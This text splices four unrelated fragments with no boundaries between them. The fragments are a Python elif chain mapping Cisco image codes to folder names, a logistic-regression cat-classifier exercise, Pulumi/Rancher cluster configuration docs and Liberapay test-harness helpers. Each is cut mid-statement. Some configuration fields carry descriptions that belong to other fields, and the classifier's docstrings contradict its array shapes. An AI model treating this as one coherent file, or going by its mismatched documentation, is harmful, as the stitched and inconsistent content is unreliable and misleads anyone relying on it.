subdirectory = "MPEG-2-L3" elif imagecode == "mso": subdirectory = "MULTI-SITE-ORCHESTRATOR" elif imagecode == "h1is": subdirectory = "MW-HOME-AGENT" elif imagecode == "anyconnectnam": subdirectory = "NETWORK-ACCESS-MANAGER" elif imagecode == "nvm": subdirectory = "NETWORK-VISIBILITY-MODULE" elif imagecode == "np": subdirectory = "NEXTPORT-FIRMWARE" elif imagecode == "mica-modem": subdirectory = "NEXTPORT-MODEM-FIRMWARE" elif imagecode == "n9kacim": subdirectory = "NEXUS-9000-ACI-MODE" elif imagecode == "guestshell": subdirectory = "Nexus-Guestshell" elif imagecode == "ngfw": subdirectory = "NGFW" elif imagecode == "ngfwv": subdirectory = "NGFWV" elif imagecode == "wp": subdirectory = "NSP" elif imagecode == "g4p5": subdirectory = "NSP-SYSTEM" elif imagecode == "nvsat": subdirectory = "NVSATELLITE" elif imagecode == "virtual-ovf": subdirectory = "OVF-DEFINITION-FILES" elif imagecode == "pixpasswordrecovery": subdirectory = "PASSWORD-RECOVERY" elif imagecode == "patch": subdirectory = "PATCH" elif imagecode == "mpatch": subdirectory = "MODULARITY-PATCH" elif imagecode == "k9o3sv9y5": subdirectory = "PERFORMANCE-SMALL-OFFICE-VOICE-FW-IPSEC-3DES" elif imagecode == "pdm": subdirectory = "PIX-DEVICE-MANAGER" elif imagecode == "PIXtoASA": subdirectory = "PIX-TO-ASA" elif imagecode == "aciplgms": subdirectory = "PLUG-INS/MICROSOFT" elif imagecode == "aciplgvc": subdirectory = "PLUG-INS/VCENTER" elif imagecode == "aciplgvs": subdirectory = "PLUG-INS/VREALIZE" elif imagecode == "poap": subdirectory = "POAP" elif imagecode == "poap_ng": subdirectory = "POAP-NG" elif imagecode == "profileeditor": subdirectory = "PROFILE-EDITOR" elif imagecode == "adviprank9": subdirectory = "RAN-OPTIMIZATION" elif imagecode == "iprank9": subdirectory = "RAN-OPTIMIZATION" elif imagecode == "ipran": subdirectory = "RAN-OPTIMIZATION-NO-CRYPTO" elif imagecode == "rcv": subdirectory = "RECOVERY" elif imagecode == "sv12y10": subdirectory = "REDUCED-IP-ANALOG-VOICE-PLUS" elif imagecode == "sv3y10": subdirectory = "REDUCED-IP-VOICE-PLUS" elif imagecode == "c": subdirectory = "REMOTE-ACCESS-SERVER-(RAS)" elif imagecode == "restapi": subdirectory = "REST-API" elif imagecode == "rommon": subdirectory = "ROMMON" elif imagecode == "san-client": subdirectory = "SAN-CLIENT" elif imagecode == "sccp": subdirectory = "SCCP" elif imagecode == "sp1": subdirectory = "SERVICE-PACK-1" elif imagecode == "sp2": subdirectory = "SERVICE-PACK-2" elif imagecode == "sp3": subdirectory = "SERVICE-PACK-3" elif imagecode == "sp4": subdirectory = "SERVICE-PACK-4" elif imagecode == "sp5": subdirectory = "SERVICE-PACK-5" elif imagecode == "sp6": subdirectory = "SERVICE-PACK-6" elif imagecode == "sp7": subdirectory = "SERVICE-PACK-7" elif imagecode == "sp8": subdirectory = "SERVICE-PACK-8" elif imagecode == "sp9": subdirectory = "SERVICE-PACK-9" elif imagecode == "sp10": subdirectory = "SERVICE-PACK-10" elif imagecode == "sp11": subdirectory = "SERVICE-PACK-11" elif imagecode == "sp12": subdirectory = "SERVICE-PACK-12" elif imagecode == "p": subdirectory = "SERVICE-PROVIDER" elif imagecode == "p12": subdirectory = "SERVICE-PROVIDER" elif imagecode == "p4": subdirectory = "SERVICE-PROVIDER" elif imagecode == "pv": subdirectory = "SERVICE-PROVIDER" elif imagecode == "spservicesk9": subdirectory = "SERVICE-PROVIDER" elif imagecode == "p456i": subdirectory = "SERVICE-PROVIDER-ALTERNATE" elif imagecode == "pk9u2": subdirectory = "SERVICE-PROVIDER-IPSEC-3DES-LAWFUL-INTERCEPT" elif imagecode == "k8p4": subdirectory = "SERVICE-PROVIDER-IPSEC-56" elif imagecode == "ps": subdirectory = "SERVICE-PROVIDER-LAN-ONLY" elif imagecode == "p9": subdirectory = "SERVICE-PROVIDER-PLUS" elif imagecode == "k8p9": subdirectory = "SERVICE-PROVIDER-PLUS-IPSEC-3DES" elif imagecode == "k9p9": subdirectory = "SERVICE-PROVIDER-PLUS-IPSEC-3DES" elif imagecode == "k9p9u2": subdirectory = "SERVICE-PROVIDER-PLUS-IPSEC-3DES-LAWFUL-INTERCEPT" elif imagecode == "k3pv": subdirectory = "SERVICE-PROVIDER-SECURED-SHELL-3DES" elif imagecode == "k4p": subdirectory = "SERVICE-PROVIDER-SECURED-SHELL-3DES" elif imagecode == "k4p10": subdirectory = "SERVICE-PROVIDER-SECURED-SHELL-3DES" elif imagecode == "k91pv": subdirectory = "SERVICE-PROVIDER-SECURED-SHELL-3DES" elif imagecode == "dk2o3s": subdirectory = "DESKTOP-IBM-FW-IDS-IPSEC-3DES" elif imagecode == "a3js56i": subdirectory = "ENTERPRISE-SNASW-PLUS-IPSEC-56" elif imagecode == "a3jk2s": subdirectory = "ENTERPRISE-SNASW-PLUS-IPSEC-3DES" elif imagecode == "k9p11": subdirectory = "SERVICE-PROVIDER-SECURED-SHELL-3DES" elif imagecode == "k3p": subdirectory = "SERVICE-PROVIDER-SECURED-SHELL-56" elif imagecode == "k4pv": subdirectory = "SERVICE-PROVIDER-SECURED-SHELL-56" elif imagecode == "k91p": subdirectory = "SERVICE-PROVIDER-SECURE-SHELL-3DES" elif imagecode == "k9p": subdirectory = "SERVICE-PROVIDER-SSH-3DES" elif imagecode == "pk2s": subdirectory = "SERVICE-PROVIDER-SSH-3DES-LAN-ONLY" elif imagecode == "k9p12": subdirectory = "SERVICE-PROVIDER-WITH-CRYPTO" elif imagecode == "po3sv": subdirectory = "SERVICE-PROVIDER-WITH-FW-AND-VIP" elif imagecode == "pk2o3sv": subdirectory = "SERVICE-PROVIDER-WITH-FW-AND-VIP-3DES" elif imagecode == "p7": subdirectory = "SERVICE-PROVIDER-WITH-PT-TARP" elif imagecode == "psv": subdirectory = "SERVICE-PROVIDER-WITH-VIP" elif imagecode == "pk2sv": subdirectory = "SERVICE-PROVIDER-WITH-VIP-3DES" elif imagecode == "signatures": subdirectory = "SIGNATURES" elif imagecode == "silent-installer": subdirectory = "SILENT-INSTALLER" elif imagecode == "sip": subdirectory = "SIP" elif imagecode == "k1o3sv4y556i": subdirectory = "SMALL-OFFICE+-VOICE-FW-IDS-IPSEC-56-(SGCP-and-H.323)" elif imagecode == "k1k2o3sv4y5": subdirectory = "SMALL-OFFICE+-VOICE-FW-IPSEC-3DES-(SGCP-and-H.323)" elif imagecode == "k1o3v4y5": subdirectory = "SMALL-OFFICE-VOICE-FW-IDS-(SGCP-and-H.323)" elif imagecode == "smu": subdirectory = "SMU" elif imagecode == "sourcefiredev": subdirectory = "SOURCEFIRE-8350" elif imagecode == "sprom": subdirectory = "SPROM-EPLD" elif imagecode == "ipss7": subdirectory = "SS7-SIGNALING-LINK" elif imagecode == "h2": subdirectory = "STANDARD" elif imagecode == "c3h2": subdirectory = "STANDARD-COMMAND-CAPABLE" elif imagecode == "struts": subdirectory = "STRUTS-FIX" elif imagecode == "sup": subdirectory = "SUP-1" elif imagecode == "sup8m": subdirectory = "SUP-1-8M" elif imagecode == "supk8": subdirectory = "SUP-1" elif imagecode == "s1": subdirectory = "SUP-1" elif imagecode == "s1ek9": subdirectory = "SUP-1/BASE" elif imagecode == "supcv": subdirectory = "SUP-1/CISCOVIEW" elif imagecode == "supcvk8": subdirectory = "SUP-1/CISCOVIEW" elif imagecode == "supcvk9": subdirectory = "SUP-1/CISCOVIEW-AND-SSH" elif imagecode == "supk9": subdirectory = "SUP-1/SSH" elif imagecode == "sup2": subdirectory = "SUP-2" elif imagecode == "sup2k8": subdirectory = "SUP-2" elif imagecode == "s2": subdirectory = "SUP-2" elif imagecode == "s2ek9": subdirectory = "SUP-2" elif imagecode == "sup2cv": subdirectory = "SUP-2/CISCOVIEW" elif imagecode == "sup2cvk8": subdirectory = "SUP-2/CISCOVIEW" elif imagecode == "sup2cvk9": subdirectory = "SUP-2/CISCOVIEW-AND-SSH" elif imagecode == "sup2k9": subdirectory = "SUP-2/SSH" elif imagecode == "s3": subdirectory = "SUP-3" elif imagecode == "sup3": subdirectory = "SUP-3" elif imagecode == "sup3k9": subdirectory = "SUP-3/SSH" elif imagecode == "supg": subdirectory = "SUP-3/BASE" elif imagecode == "supgk9": subdirectory = "SUP-3/SSH" elif imagecode == "sup3cvk9": subdirectory = "SUP-3/CISCOVIEW-AND-SSH" elif imagecode == "sup3cv": subdirectory = "SUP-3/CISCOVIEW" elif imagecode == "s3ek9": subdirectory = "SUP-3" elif imagecode == "sup32pfc3k8": subdirectory = "SUP-32/BASE" elif imagecode == "sup32pfc3cvk8": subdirectory = "SUP-32/CISCOVIEW" elif imagecode == "sup32pfc3cvk9": subdirectory = "SUP-32/CISCOVIEW-AND-SSH" elif imagecode == "sup32pfc3k9": subdirectory = "SUP-32/SSH" elif imagecode == "s4ek9": subdirectory = "SUP-4" elif imagecode == "s5ek9": subdirectory = "SUP-5" elif imagecode == "sup720k8": subdirectory = "SUP-720/BASE" elif imagecode == "sup720cvk8": subdirectory = "SUP-720/CISCOVIEW" elif imagecode == "sup720cvk9": subdirectory = "SUP-720/CISCOVIEW-AND-SSH" elif imagecode == "sup720k9": subdirectory = "SUP-720/SSH" elif imagecode == "supplicantpw": subdirectory = "SUPPLICANT-PROVISIONING-WIZARD" elif imagecode == "cat9k_iosxe": subdirectory = "SYSTEM" elif imagecode == "iosxe": subdirectory = "UNIVERSAL" elif imagecode == "universalk9_kvm": subdirectory = "UNIVERSAL" elif imagecode
''' Created on Oct 31, 2017 @author: udit.gupta ''' import numpy as np import matplotlib.pyplot as plt import scipy from scipy import misc from lr_utils import load_dataset # Loading the data (cat/non-cat) train_set_x_orig, train_set_y, test_set_x_orig, test_set_y, classes = load_dataset() # Example of a picture from our training set index = 25 plt.imshow(train_set_x_orig[index]) print ("y = " + str(train_set_y[:, index]) + ", it's a '" + classes[np.squeeze(train_set_y[:, index])].decode("utf-8") + "' picture.") m_train = train_set_x_orig.shape[0] m_test = test_set_x_orig.shape[0] num_px = train_set_x_orig.shape[1] print ("Number of training examples: m_train = " + str(m_train)) print ("Number of testing examples: m_test = " + str(m_test)) print ("Height/Width of each image: num_px = " + str(num_px)) print ("Each image is of size: (" + str(num_px) + ", " + str(num_px) + ", 3)") print ("train_set_x shape: " + str(train_set_x_orig.shape)) print ("train_set_y shape: " + str(train_set_y.shape)) print ("test_set_x shape: " + str(test_set_x_orig.shape)) print ("test_set_y shape: " + str(test_set_y.shape)) # Reshape the training and test examples # After reshaping the matrices we will have a flattened matrix of size (n_x,m). The transpose is done to obtain the column vectors of examples. # The trick is to retain the first dimension and flatten all the other dimensions. train_set_x_flatten = train_set_x_orig.reshape(m_train,-1).T test_set_x_flatten = test_set_x_orig.reshape(m_test,-1).T print ("train_set_x_flatten shape: " + str(train_set_x_flatten.shape)) print ("train_set_y shape: " + str(train_set_y.shape)) print ("test_set_x_flatten shape: " + str(test_set_x_flatten.shape)) print ("test_set_y shape: " + str(test_set_y.shape)) print ("sanity check after reshaping: " + str(train_set_x_flatten[0:5,:])) #One common pre-processing step in machine learning is to center and standardize your dataset, meaning that you substract the mean of the whole numpy array from each example, and then divide each example by the standard deviation of the whole numpy array. But for picture datasets, it is simpler and more convenient and works almost as well to just divide every row of the dataset by 255 (the maximum value of a pixel channel). train_set_x = train_set_x_flatten/255.0 test_set_x = test_set_x_flatten/255.0 """ The main steps for building a Neural Network are: 1) Define the model structure (such as number of input features) 2) Initialize the model's parameters 3) Loop: 3.1)Calculate current loss (forward propagation) 3.2)Calculate current gradient (backward propagation) 3.3)Update parameters (gradient descent) """ def sigmoid(z): """ Compute the sigmoid of z Arguments: z -- A scalar or numpy array of any size. Return: s -- sigmoid(z) """ s = 1 / (1 + np.exp(-z)) return s def initialize_with_zeros(dim): """ This function creates a vector of zeros of shape (1, dim) for w and initializes b to 0. The dimension for w is 1*n_x since we are training only one unit here. If we had multiple units to train, the size of W would have been (units on current layer * units_on_previous_layer) For image inputs, w will be of shape (num_px * num_px * 3, 1) Argument: dim -- size of the w vector we want (or number of parameters in this case) Returns: w -- initialized vector of shape (dim, 1) b -- initialized scalar (corresponds to the bias) """ w = np.zeros((1,dim)) b = 0 assert(w.shape == (1, dim)) assert(isinstance(b, float) or isinstance(b, int)) return w, b def propagate(w, b, X, Y): """ The cost function and its gradient for the propagation Arguments: w -- weights, a numpy array of size (num_px * num_px * 3, 1) b -- bias, a scalar X -- data of size (num_px * num_px * 3, number of examples) Y -- true "label" vector (containing 0 if non-cat, 1 if cat) of size (1, number of examples) Return: cost -- negative log-likelihood cost for logistic regression dw -- gradient of the loss function with respect to w, thus same shape as w db -- gradient of the loss function with respect to b, thus same shape as b """ m = X.shape[1] # FORWARD PROPAGATION (FROM X TO COST) #Activation of the unit A = sigmoid((np.dot(w,X)) + b) # compute activation yloga = np.dot(np.log(A),Y.T) negyloga = np.dot(np.log(1-A),(1-Y.T)) cost = (-1)*(1 / m)*(yloga + negyloga) # compute cost # BACKWARD PROPAGATION (TO FIND GRAD) dz = A - Y dw = (1 / m)*np.dot(dz,X.T) db = (1 / m)*np.sum(dz) assert(dw.shape == w.shape) assert(db.dtype == float) cost = np.squeeze(cost) assert(cost.shape == ()) grads = {"dw": dw, "db": db} return grads, cost def optimize(w, b, X, Y, num_iterations, learning_rate, print_cost = False): """ This function optimizes w and b by running a gradient descent algorithm Arguments: w -- weights, a numpy array of size (1,num_px * num_px * 3) b -- bias, a scalar X -- data of shape (num_px * num_px * 3, number of examples) Y -- true "label" vector (containing 0 if non-cat, 1 if cat), of shape (1, number of examples) num_iterations -- number of iterations of the optimization loop learning_rate -- learning rate of the gradient descent update rule print_cost -- True to print the loss every 100 steps Returns: params -- dictionary containing the weights w and bias b grads -- dictionary containing the gradients of the weights and bias with respect to the cost function costs -- list of all the costs computed during the optimization, this will be used to plot the learning curve. """ costs = [] for i in range(num_iterations): #Cost and gradient calculation grads, cost = propagate(w,b,X,Y) # Retrieve derivatives from grads dw = grads["dw"] db = grads["db"] # update rule w = w - (learning_rate * dw) b = b - (learning_rate * db) # Record the costs if i % 100 == 0: costs.append(cost) # Printing the cost every 100 training examples if print_cost and i % 100 == 0: print ("Cost after iteration %i: %f" %(i, cost)) params = {"w": w, "b": b} grads = {"dw": dw, "db": db} return params, grads, costs def predict(w, b, X): ''' Predict whether the label is 0 or 1 using learned logistic regression parameters (w, b) Arguments: w -- weights, a numpy array of size (1, num_px * num_px * 3) b -- bias, a scalar X -- data of size (num_px * num_px * 3, number of examples) Returns: Y_prediction -- a numpy array (vector) containing all predictions (0/1) for the examples in X ''' m = X.shape[1] Y_prediction = np.zeros((1,m)) w = w.reshape(X.shape[0], 1) # Computed vector "A" predicting the probabilities of a cat being present in the picture A = sigmoid(np.dot(w.T,X) + b) for i in range(A.shape[1]): # Convert probabilities A[0,i] to actual predictions p[0,i] if (A[0,i] > 0.5): Y_prediction[0,i] = 1 else: Y_prediction[0,i] = 0 assert(Y_prediction.shape == (1, m)) return Y_prediction def model(X_train, Y_train, X_test, Y_test, num_iterations = 2000, learning_rate = 0.5, print_cost = False): """ Builds the logistic regression model by calling the function we've implemented previously Arguments: X_train -- training set represented by a numpy array of shape (num_px * num_px * 3, m_train) Y_train -- training labels represented by a numpy array (vector) of shape (1, m_train) X_test -- test set represented by a numpy array of shape (num_px * num_px * 3, m_test) Y_test -- test labels represented by a numpy array (vector) of shape (1, m_test) num_iterations -- hyperparameter representing the number of iterations to optimize the parameters learning_rate -- hyperparameter representing the learning rate used in the update rule of optimize() print_cost -- Set to true to print the cost every 100 iterations Returns: d -- dictionary containing information about the model. """ # initialize parameters with zeros w, b = initialize_with_zeros(X_train.shape[0]) # Gradient descent parameters, grads, costs = optimize(w, b, X_train, Y_train, num_iterations, learning_rate, print_cost) # Retrieve parameters w and b from dictionary "parameters" w = parameters["w"] b = parameters["b"] # Predict test/train set examples Y_prediction_test = predict(w, b, X_test) Y_prediction_train = predict(w, b, X_train) # Print train/test Errors print("train accuracy: {} %".format(100 - np.mean(np.abs(Y_prediction_train - Y_train)) * 100)) print("test accuracy: {} %".format(100 - np.mean(np.abs(Y_prediction_test - Y_test)) * 100)) d
(bool) * `enableAutoUpgrade` (`pulumi.Input[bool]`) - Specifies whether node auto-upgrade is enabled for the node pool. Default `false` (bool) * `enableHorizontalPodAutoscaling` (`pulumi.Input[bool]`) - Enable horizontal pod autoscaling for the cluster. Default `true` (bool) * `enableHttpLoadBalancing` (`pulumi.Input[bool]`) - Enable HTTP load balancing on GKE cluster. Default `true` (bool) * `enableKubernetesDashboard` (`pulumi.Input[bool]`) - Whether to enable the Kubernetes dashboard. Default `false` (bool) * `enableLegacyAbac` (`pulumi.Input[bool]`) - Whether to enable legacy abac on the cluster. Default `false` (bool) * `enableMasterAuthorizedNetwork` (`pulumi.Input[bool]`) * `enableNetworkPolicyConfig` (`pulumi.Input[bool]`) - Enable stackdriver logging. Default `true` (bool) * `enableNodepoolAutoscaling` (`pulumi.Input[bool]`) - Enable nodepool autoscaling. Default `false` (bool) * `enablePrivateEndpoint` (`pulumi.Input[bool]`) - Whether the master's internal IP address is used as the cluster endpoint. Default `false` (bool) * `enablePrivateNodes` (`pulumi.Input[bool]`) - Whether nodes have internal IP address only. Default `false` (bool) * `enableStackdriverLogging` (`pulumi.Input[bool]`) - Enable stackdriver monitoring. Default `true` (bool) * `enableStackdriverMonitoring` (`pulumi.Input[bool]`) - Enable stackdriver monitoring on GKE cluster (bool) * `imageType` (`pulumi.Input[str]`) - The image to use for the worker nodes (string) * `ipPolicyClusterIpv4CidrBlock` (`pulumi.Input[str]`) - The IP address range for the cluster pod IPs (string) * `ipPolicyClusterSecondaryRangeName` (`pulumi.Input[str]`) - The name of the secondary range to be used for the cluster CIDR block (string) * `ipPolicyCreateSubnetwork` (`pulumi.Input[bool]`) - Whether a new subnetwork will be created automatically for the cluster. Default `false` (bool) * `ipPolicyNodeIpv4CidrBlock` (`pulumi.Input[str]`) - The IP address range of the instance IPs in this cluster (string) * `ipPolicyServicesIpv4CidrBlock` (`pulumi.Input[str]`) - The IP address range of the services IPs in this cluster (string) * `ipPolicyServicesSecondaryRangeName` (`pulumi.Input[str]`) - The name of the secondary range to be used for the services CIDR block (string) * `ipPolicySubnetworkName` (`pulumi.Input[str]`) - A custom subnetwork name to be used if createSubnetwork is true (string) * `issueClientCertificate` (`pulumi.Input[bool]`) - Issue a client certificate. Default `false` (bool) * `kubernetesDashboard` (`pulumi.Input[bool]`) - Enable the Kubernetes dashboard. Default `false` (bool) * `labels` (`pulumi.Input[dict]`) - Labels for cluster registration token object (map) * `localSsdCount` (`pulumi.Input[float]`) - The number of local SSD disks to be attached to the node. Default `0` (int) * `locations` (`pulumi.Input[list]`) - Locations for GKE cluster (list) * `machineType` (`pulumi.Input[str]`) - Machine type for GKE cluster (string) * `maintenanceWindow` (`pulumi.Input[str]`) - Maintenance window for GKE cluster (string) * `masterAuthorizedNetworkCidrBlocks` (`pulumi.Input[list]`) - Define up to 10 external networks that could access Kubernetes master through HTTPS (list) * `masterIpv4CidrBlock` (`pulumi.Input[str]`) - The IP range in CIDR notation to use for the hosted master network (string) * `masterVersion` (`pulumi.Input[str]`) - Master version for GKE cluster (string) * `maxNodeCount` (`pulumi.Input[float]`) - Maximum number of nodes in the NodePool. Must be >= minNodeCount. There has to enough quota to scale up the cluster. Default `0` (int) * `minNodeCount` (`pulumi.Input[float]`) - Minimmum number of nodes in the NodePool. Must be >= 1 and <= maxNodeCount. Default `0` (int) * `network` (`pulumi.Input[str]`) - Network for GKE cluster (string) * `nodeCount` (`pulumi.Input[float]`) - Node count for GKE cluster. Default `3` (int) * `nodePool` (`pulumi.Input[str]`) - The ID of the cluster node pool (string) * `nodeVersion` (`pulumi.Input[str]`) - Node version for GKE cluster (string) * `oauthScopes` (`pulumi.Input[list]`) - The set of Google API scopes to be made available on all of the node VMs under the default service account (list) * `preemptible` (`pulumi.Input[bool]`) - Whether the nodes are created as preemptible VM instances. Default `false` (bool) * `project_id` (`pulumi.Input[str]`) - Project ID to apply answer (string) * `resourceLabels` (`pulumi.Input[dict]`) - The map of Kubernetes labels to be applied to each cluster (map) * `serviceAccount` (`pulumi.Input[str]`) - The Google Cloud Platform Service Account to be used by the node VMs (string) * `subNetwork` (`pulumi.Input[str]`) - Subnetwork for GKE cluster (string) * `taints` (`pulumi.Input[list]`) - List of Kubernetes taints to be applied to each node (list) * `useIpAliases` (`pulumi.Input[bool]`) - Whether alias IPs will be used for pod IPs in the cluster. Default `false` (bool) * `zone` (`pulumi.Input[str]`) - Zone GKE cluster (string) The **rke_config** object supports the following: * `addonJobTimeout` (`pulumi.Input[float]`) - Duration in seconds of addon job (int) * `addons` (`pulumi.Input[str]`) - Addons descripton to deploy on RKE cluster. * `addonsIncludes` (`pulumi.Input[list]`) - Addons yaml manifests to deploy on RKE cluster (list) * `authentication` (`pulumi.Input[dict]`) - Kubernetes cluster authentication (list maxitems:1) * `sans` (`pulumi.Input[list]`) - RKE sans for authentication ([]string) * `strategy` (`pulumi.Input[str]`) - RKE strategy for authentication (string) * `authorization` (`pulumi.Input[dict]`) - Kubernetes cluster authorization (list maxitems:1) * `mode` (`pulumi.Input[str]`) - RKE mode for authorization. `rbac` and `none` modes are available. Default `rbac` (string) * `options` (`pulumi.Input[dict]`) - RKE options for network (map) * `bastionHost` (`pulumi.Input[dict]`) - RKE bastion host (list maxitems:1) * `address` (`pulumi.Input[str]`) - Address ip for node (string) * `port` (`pulumi.Input[str]`) - Port for node. Default `22` (string) * `sshAgentAuth` (`pulumi.Input[bool]`) - Use ssh agent auth. Default `false` (bool) * `sshKey` (`pulumi.Input[str]`) - Node SSH private key (string) * `sshKeyPath` (`pulumi.Input[str]`) - Node SSH private key path (string) * `user` (`pulumi.Input[str]`) - Registry user (string) * `cloudProvider` (`pulumi.Input[dict]`) - RKE options for Calico network provider (string) * `awsCloudProvider` (`pulumi.Input[dict]`) - RKE AWS Cloud Provider config for Cloud Provider [rke-aws-cloud-provider](https://rancher.com/docs/rke/latest/en/config-options/cloud-providers/aws/) (list maxitems:1) * `global` (`pulumi.Input[dict]`) - (list maxitems:1) * `disableSecurityGroupIngress` (`pulumi.Input[bool]`) - Default `false` (bool) * `disableStrictZoneCheck` (`pulumi.Input[bool]`) - Default `false` (bool) * `elbSecurityGroup` (`pulumi.Input[str]`) - (string) * `kubernetesClusterId` (`pulumi.Input[str]`) - (string) * `kubernetesClusterTag` (`pulumi.Input[str]`) - (string) * `roleArn` (`pulumi.Input[str]`) - (string) * `routeTableId` (`pulumi.Input[str]`) - (string) * `subnetId` (`pulumi.Input[str]`) - (string) * `vpc` (`pulumi.Input[str]`) - (string) * `zone` (`pulumi.Input[str]`) - Zone GKE cluster (string) * `serviceOverrides` (`pulumi.Input[list]`) - (list) * `region` (`pulumi.Input[str]`) - The AWS Region to create the EKS cluster in. Default `us-west-2` (string) * `service` (`pulumi.Input[str]`) - (string) * `signingMethod` (`pulumi.Input[str]`) - (string) * `signingName` (`pulumi.Input[str]`) - (string) * `signingRegion` (`pulumi.Input[str]`) - (string) * `url` (`pulumi.Input[str]`) - Registry URL (string) * `azureCloudProvider` (`pulumi.Input[dict]`) - RKE Azure Cloud Provider config for Cloud Provider [rke-azure-cloud-provider](https://rancher.com/docs/rke/latest/en/config-options/cloud-providers/azure/) (list maxitems:1) * `aadClientCertPassword` (`pulumi.Input[str]`) - (string) * `aadClientCertPath` (`pulumi.Input[str]`) - (string) * `aadClientId` (`pulumi.Input[str]`) - (string) * `aadClientSecret` (`pulumi.Input[str]`) - (string) * `cloud` (`pulumi.Input[str]`) - (string) * `cloudProviderBackoff` (`pulumi.Input[bool]`) - (bool) * `cloudProviderBackoffDuration` (`pulumi.Input[float]`) - (int) * `cloudProviderBackoffExponent` (`pulumi.Input[float]`) - (int) * `cloudProviderBackoffJitter` (`pulumi.Input[float]`) - (int) * `cloudProviderBackoffRetries` (`pulumi.Input[float]`) - (int) * `cloudProviderRateLimit` (`pulumi.Input[bool]`) - (bool) * `cloudProviderRateLimitBucket` (`pulumi.Input[float]`) - (int) * `cloudProviderRateLimitQps` (`pulumi.Input[float]`) - (int) * `location` (`pulumi.Input[str]`) - Azure Kubernetes cluster location. Default `eastus` (string) * `maximumLoadBalancerRuleCount` (`pulumi.Input[float]`) - (int) * `primaryAvailabilitySetName` (`pulumi.Input[str]`) - (string) * `primaryScaleSetName` (`pulumi.Input[str]`) - (string) * `resourceGroup` (`pulumi.Input[str]`) - The name of the Cluster resource group (string) * `routeTableName` (`pulumi.Input[str]`) - (string) * `securityGroupName` (`pulumi.Input[str]`) - (string) * `subnetName` (`pulumi.Input[str]`) - (string) * `subscriptionId` (`pulumi.Input[str]`) - Subscription credentials which uniquely identify Microsoft Azure subscription (string) * `tenant_id` (`pulumi.Input[str]`) - Azure tenant ID to use (string) * `useInstanceMetadata` (`pulumi.Input[bool]`) - (bool) * `useManagedIdentityExtension` (`pulumi.Input[bool]`) - (bool) * `vmType` (`pulumi.Input[str]`) - (string) * `vnetName` (`pulumi.Input[str]`) - (string) * `vnetResourceGroup` (`pulumi.Input[str]`) - (string) * `customCloudProvider` (`pulumi.Input[str]`) - RKE Custom Cloud Provider config for Cloud Provider (string) (string) * `name` (`pulumi.Input[str]`) - Name of cluster registration token (string) * `openstackCloudProvider` (`pulumi.Input[dict]`) - RKE Openstack Cloud Provider config for Cloud Provider [rke-openstack-cloud-provider](https://rancher.com/docs/rke/latest/en/config-options/cloud-providers/openstack/) (list maxitems:1) * `blockStorage` (`pulumi.Input[dict]`) - (list maxitems:1) * `bsVersion` (`pulumi.Input[str]`) - (string) * `ignoreVolumeAz` (`pulumi.Input[bool]`) - (string) * `trustDevicePath` (`pulumi.Input[bool]`) - (string) * `global` (`pulumi.Input[dict]`) - (list maxitems:1) * `authUrl` (`pulumi.Input[str]`) - (string) * `caFile` (`pulumi.Input[str]`) - (string) * `domainId` (`pulumi.Input[str]`) - Required if `domain_name` not provided. (string) * `domainName` (`pulumi.Input[str]`) - Required if `domain_id` not provided. (string) * `password` (`pulumi.Input[str]`) - Registry password (string) * `region` (`pulumi.Input[str]`) - The AWS Region to create the EKS cluster in. Default `us-west-2` (string) * `tenant_id` (`pulumi.Input[str]`) - Azure tenant ID to use (string) * `tenantName` (`pulumi.Input[str]`) - Required if `tenant_id` not provided. (string) * `trustId` (`pulumi.Input[str]`) - (string) * `username` (`pulumi.Input[str]`) - (string) * `loadBalancer` (`pulumi.Input[dict]`) - (list maxitems:1) *
"""Helpers for testing. """ from contextlib import contextmanager import itertools import json import unittest from os.path import dirname, join, realpath import html5lib from pando.utils import utcnow from pando.testing.client import Client from psycopg2 import IntegrityError, InternalError import stripe from liberapay.billing import transactions from liberapay.billing.transactions import ( record_exchange, record_exchange_result, prepare_transfer, _record_transfer_result ) from liberapay.constants import SESSION from liberapay.elsewhere._base import UserInfo from liberapay.exceptions import MissingPaymentAccount from liberapay.i18n.currencies import Money from liberapay.main import website from liberapay.models.account_elsewhere import AccountElsewhere from liberapay.models.exchange_route import ExchangeRoute from liberapay.models.participant import Participant from liberapay.payin.common import ( adjust_payin_transfers, prepare_donation, prepare_payin, update_payin, update_payin_transfer, ) from liberapay.security.csrf import CSRF_TOKEN from liberapay.testing.vcr import use_cassette TOP = realpath(join(dirname(dirname(__file__)), '..')) WWW_ROOT = str(realpath(join(TOP, 'www'))) PROJECT_ROOT = str(TOP) def EUR(amount): return Money(amount, 'EUR') def KRW(amount): return Money(amount, 'KRW') def JPY(amount): return Money(amount, 'JPY') def USD(amount): return Money(amount, 'USD') html5parser = html5lib.HTMLParser(strict=True) class ClientWithAuth(Client): def __init__(self, *a, **kw): Client.__init__(self, *a, **kw) Client.website = website def build_wsgi_environ(self, *a, **kw): """Extend base class to support authenticating as a certain user. """ # csrf - for both anon and authenticated csrf_token = kw.get('csrf_token', '<PASSWORD>') if csrf_token: cookies = kw.setdefault('cookies', {}) cookies[CSRF_TOKEN] = csrf_token kw['HTTP_X-CSRF-TOKEN'] = csrf_token # user authentication auth_as = kw.pop('auth_as', None) if auth_as: cookies = kw.setdefault('cookies', {}) sess = auth_as.session if not sess: sess = auth_as.session = auth_as.start_session() cookies[SESSION] = '%i:%i:%s' % (auth_as.id, sess.id, sess.secret) return Client.build_wsgi_environ(self, *a, **kw) def hit(self, method, url, *a, **kw): if kw.pop('xhr', False): kw['HTTP_X_REQUESTED_WITH'] = b'XMLHttpRequest' # prevent tell_sentry from reraising errors sentry_reraise = kw.pop('sentry_reraise', True) env = self.website.env old_reraise = env.sentry_reraise if sentry_reraise != old_reraise: env.sentry_reraise = sentry_reraise want = kw.get('want', 'response') try: wanted = super().hit(method, url, *a, **kw) r = None if want == 'response': r = wanted elif want == 'state': r = wanted.get('response') if not r or not r.body: return wanted # Attempt to validate the response body r_type = r.headers[b'Content-Type'] try: if r_type.startswith(b'text/html'): html5parser.parse(r.text) elif r_type.startswith(b'application/json'): json.loads(r.body) elif r_type.startswith(b'application/javascript'): pass elif r_type.startswith(b'text/css'): pass elif r_type.startswith(b'image/'): pass elif r_type.startswith(b'text/'): pass else: raise ValueError(f"unknown response media type {r_type!r}") except Exception as e: print(r.text) raise Exception( f"parsing body of {r.code} response to `{method} {url}` failed:" f"\n{str(e)}" ) return wanted finally: env.sentry_reraise = old_reraise class Harness(unittest.TestCase): QUARANTINE = transactions.QUARANTINE client = ClientWithAuth(www_root=WWW_ROOT, project_root=PROJECT_ROOT) db = client.website.db platforms = client.website.platforms website = client.website tablenames = db.all(""" SELECT tablename FROM pg_tables WHERE schemaname='public' AND tablename NOT IN 